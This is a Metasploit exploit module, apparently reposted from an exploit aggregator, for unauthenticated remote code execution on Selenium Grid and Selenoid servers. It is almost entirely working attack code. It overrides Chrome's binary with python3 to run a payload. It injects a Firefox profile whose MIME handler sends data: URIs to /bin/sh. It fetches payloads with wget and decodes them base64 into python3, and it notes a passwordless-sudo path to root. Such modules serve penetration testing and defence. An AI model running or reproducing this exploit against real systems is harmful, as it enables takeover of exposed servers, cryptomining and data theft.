Share
## https://sploitus.com/exploit?id=PACKETSTORM:218909
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Module::Deprecated
      moved_from 'exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108'
      moved_from 'exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108'
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      include Msf::Payload::Python
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Selenium Grid/Selenoid Unauthenticated RCE',
            'Description' => %q{
              Selenium Grid and Selenoid expose a WebDriver API that allows creating
              browser sessions with arbitrary capabilities. When deployed without
              authentication (the default for both), an attacker can achieve remote
              code execution through two browser-specific techniques:
    
              For Chrome, the goog:chromeOptions binary field can be set to an
              arbitrary executable such as /usr/bin/python3, since ChromeDriver does
              not validate it. This was fixed in Selenium Grid 4.11.0 via the
              stereotype capabilities merge. All Selenoid versions remain vulnerable.
    
              For Firefox, a custom profile containing a malicious MIME handler that
              maps application/sh to /bin/sh can be injected via moz:firefoxOptions.
              Navigating to a data: URI with that content type triggers shell
              execution. This technique has never been patched and works on all
              Selenium Grid versions including the latest release.
    
              The module auto-detects available browsers and selects the best attack
              vector. Firefox is preferred as it works on all Grid versions.
    
              The default Docker images run as seluser/selenium with passwordless
              sudo, allowing trivial privilege escalation to root.
            },
            'Author' => [
              'Jon Stratton',
              'Wiz Research',
              'Takahiro Yokoyama',
              'Valentin Lobstein <chocapikk[at]leakix.net>'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'],
              ['URL', 'https://www.selenium.dev/blog/2024/protecting-unsecured-selenium-grid/'],
              ['URL', 'https://github.com/SeleniumHQ/selenium/issues/9526'],
              ['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
              ['EDB', '49915'],
              ['CWE', '306']
            ],
            'Platform' => %w[python unix linux],
            'Arch' => [ARCH_PYTHON, ARCH_CMD],
            'Payload' => {},
            'Targets' => [
              [
                'Python In-Memory',
                {
                  'Platform' => 'python',
                  'Arch' => ARCH_PYTHON
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET',
                    'FETCH_DELETE' => true,
                    'FETCH_WRITABLE_DIR' => '/tmp'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2021-05-28',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options([
          Opt::RPORT(4444),
          OptString.new('TARGETURI', [true, 'Base path to Selenium Grid or Selenoid', '/']),
          OptEnum.new('BROWSER', [true, 'Browser to exploit (auto detects and picks best vector)', 'auto', %w[auto firefox chrome]])
        ])
      end
    
      def check
        @backend = detect_backend
        return CheckCode::Unknown('No response from target') unless @backend
    
        @browsers = enumerate_browsers
        return CheckCode::Appears("#{@backend[:message]} (all versions vulnerable)") if selenoid?
    
        check_grid
      end
    
      def exploit
        @backend ||= detect_backend
        @browsers ||= enumerate_browsers
        browser = select_browser
        fail_with(Failure::NoTarget, 'No exploitable browser found on target') unless browser
    
        send("exploit_#{browser}")
      end
    
      private
    
      def selenoid?
        @backend&.dig(:type) == :selenoid
      end
    
      def session_path
        normalize_uri(target_uri.path, selenoid? ? 'wd/hub/session' : 'session')
      end
    
      def grid_version
        nodes = @backend&.dig(:value, 'nodes')
        return unless nodes.is_a?(Array) && !nodes.empty?
    
        version_raw = nodes.first['version']
        return unless version_raw
    
        version_raw.split(/\s/).first
      end
    
      def chrome_vuln?
        return true if selenoid?
    
        ver = grid_version
        ver && Rex::Version.new(ver) < Rex::Version.new('4.11.0') && @browsers.include?('chrome')
      end
    
      def detect_backend
        %w[status wd/hub/status].each do |path|
          res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, path))
          next unless res&.code == 200
    
          value = res.get_json_document['value']
          next unless value.is_a?(Hash) && value['message'].is_a?(String)
    
          msg = value['message'].downcase
          return { type: :selenoid, message: value['message'], value: value } if msg.include?('selenoid')
          return { type: :grid, message: value['message'], value: value } if msg.include?('selenium grid')
        end
        nil
      end
    
      def enumerate_browsers
        return [] unless @backend
        return selenoid_browsers if selenoid?
    
        grid_browsers
      end
    
      def selenoid_browsers
        browsers = @backend[:value]['browsers']
        return %w[chrome firefox] unless browsers.is_a?(Hash)
    
        browsers.keys.map(&:downcase)
      end
    
      def grid_browsers
        nodes = @backend[:value]['nodes']
        return [] unless nodes.is_a?(Array)
    
        nodes.flat_map { |n| (n['slots'] || []).map { |s| s.dig('stereotype', 'browserName')&.downcase } }.compact.uniq
      end
    
      def check_grid
        ver_str = grid_version
        return CheckCode::Detected('Selenium Grid detected but could not determine version') unless ver_str
        return CheckCode::Appears("Selenium Grid #{ver_str} with Firefox (all versions vulnerable to profile handler)") if @browsers.include?('firefox')
        return CheckCode::Appears("Selenium Grid #{ver_str} with Chrome (vulnerable to binary override)") if chrome_vuln?
        return CheckCode::Safe("Selenium Grid #{ver_str} - Chrome patched (stereotype merge), no Firefox available") if @browsers.include?('chrome')
    
        CheckCode::Detected("Selenium Grid #{ver_str} - no exploitable browsers found")
      end
    
      def select_browser
        choice = datastore['BROWSER']
    
        if choice != 'auto'
          print_warning("#{choice} not available on target (found: #{@browsers.join(', ')})") unless @browsers.empty? || @browsers.include?(choice)
          return choice
        end
    
        if @browsers.include?('firefox')
          print_status('Auto-selected Firefox (profile handler - works on all Grid versions)')
          return 'firefox'
        end
    
        if @browsers.include?('chrome') && chrome_vuln?
          print_status('Auto-selected Chrome (binary override)')
          return 'chrome'
        end
    
        print_warning("Chrome binary override patched on Grid #{grid_version}, no Firefox available") if @browsers.include?('chrome')
        nil
      end
    
      def create_session(body)
        send_request_cgi('method' => 'POST', 'uri' => session_path, 'ctype' => 'application/json', 'data' => body)
      end
    
      def cleanup_session(session_id)
        res = send_request_cgi('method' => 'DELETE', 'uri' => normalize_uri(session_path, session_id), 'ctype' => 'application/json')
        print_status(res ? "Deleted session #{session_id}" : "Could not delete session #{session_id}. It may need to expire.")
      rescue StandardError
        nil
      end
    
      def exploit_chrome
        body = {
          'capabilities' => {
            'alwaysMatch' => {
              'browserName' => 'chrome',
              'goog:chromeOptions' => { 'binary' => '/usr/bin/python3', 'args' => ["-c#{build_python_payload}"] }
            }
          }
        }.to_json
    
        print_status('Sending Chrome session request with binary override...')
        res = create_session(body)
    
        return print_warning('No response received (expected - Python exits after execution)') unless res
        return print_good('Payload executed (server returned 500 as expected)') if res.code == 500
    
        fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code}") unless res.code == 200
    
        json = res.get_json_document
        return print_good("Payload executed (Chrome crash expected: #{json['value']['message']&.slice(0, 80)}...)") if json.dig('value', 'error')
    
        session_id = json.dig('value', 'sessionId')
        return unless session_id
    
        print_warning("Session #{session_id} created but binary override may have been ignored")
        cleanup_session(session_id)
      end
    
      def build_python_payload
        inner = target['Arch'] == ARCH_PYTHON ? payload.encoded : "os.system(#{payload.encoded.inspect})"
        py_create_exec_stub("import os,time\npid=os.fork()\nif pid==0:\n os.setsid()\n #{inner}\nelse:\n time.sleep(300)")
      end
    
      def exploit_firefox
        encoded_profile = build_malicious_profile
        body = {
          'desiredCapabilities' => { 'browserName' => 'firefox', 'firefox_profile' => encoded_profile },
          'capabilities' => { 'firstMatch' => [{ 'browserName' => 'firefox', 'moz:firefoxOptions' => { 'profile' => encoded_profile } }] }
        }.to_json
    
        print_status('Creating Firefox session with malicious profile...')
        res = create_session(body)
        fail_with(Failure::UnexpectedReply, 'No response when creating session') unless res
    
        session_id = res.get_json_document.dig('value', 'sessionId') || res.get_json_document['sessionId']
        fail_with(Failure::UnexpectedReply, 'Failed to create Firefox session') unless session_id
        print_status("Session created: #{session_id}")
    
        cmd = payload.encoded
        cmd = "echo -n #{Rex::Text.encode_base64(cmd)} | base64 -d | python3 &" if target['Arch'] == ARCH_PYTHON
        script = "#{cmd}\n"
    
        fetch_dir = datastore['FETCH_WRITABLE_DIR'] || '/tmp'
        fetch_file = datastore['FETCH_FILENAME']
        register_file_for_cleanup("#{fetch_dir}/#{fetch_file}") if fetch_file
    
        print_status('Navigating to data: URI to trigger handler...')
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, selenoid? ? 'wd/hub' : '', "session/#{session_id}/url"),
          'ctype' => 'application/json',
          'data' => { 'url' => "data:application/sh;charset=utf-16le;base64,#{Rex::Text.encode_base64(script)}" }.to_json
        )
    
        cleanup_session(session_id)
      end
    
      def build_malicious_profile
        stringio = Zip::OutputStream.write_buffer do |io|
          io.put_next_entry('handlers.json')
          io.write({
            'defaultHandlersVersion' => { 'en-US' => 4 },
            'mimeTypes' => { 'application/sh' => { 'action' => 2, 'handlers' => [{ 'name' => 'sh', 'path' => '/bin/sh' }] } }
          }.to_json)
        end
        stringio.rewind
        Base64.strict_encode64(stringio.sysread)
      end
    
    end